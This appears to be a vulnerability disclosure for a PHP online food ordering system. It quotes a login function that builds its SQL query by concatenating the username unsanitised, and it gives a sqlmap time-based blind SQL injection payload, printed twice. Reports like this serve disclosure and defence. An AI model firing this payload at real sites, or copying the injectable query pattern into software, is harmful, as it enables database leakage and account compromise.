SQL injection vulnerability exists in username parameter of login module of admin_class.php file of online food ordering system

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```php
function login(){
    extract($_POST);
    $qry = $this->db->query("SELECT * FROM `users` where username = '".$username."' ");
    if($qry->num_rows > 0){
        $result = $qry->fetch_array();
        $is_verified = password_verify($password, $result['password']);
        if($is_verified){
        foreach ($result as $key => $value) {
            if($key != 'password' && !is_numeric($key))
                $_SESSION['login_'.$key] = $value;
        }
            return 1;
        }
    }
        return 3;
}
```

```
---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: password=1&username=2' AND (SELECT 9453 FROM (SELECT(SLEEP(5)))JMAH) AND 'vVsx'='vVsx
---
```

Sqlmap attack:

“

Parameter: username (POST)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: password=1&username=2' AND (SELECT 9453 FROM (SELECT(SLEEP(5)))JMAH) AND 'vVsx'='vVsx

---

”

Source Download：

https://www.sourcecodester.com/php/16022/online-food-ordering-system-v2-using-php8-and-mysql-free-source-code.html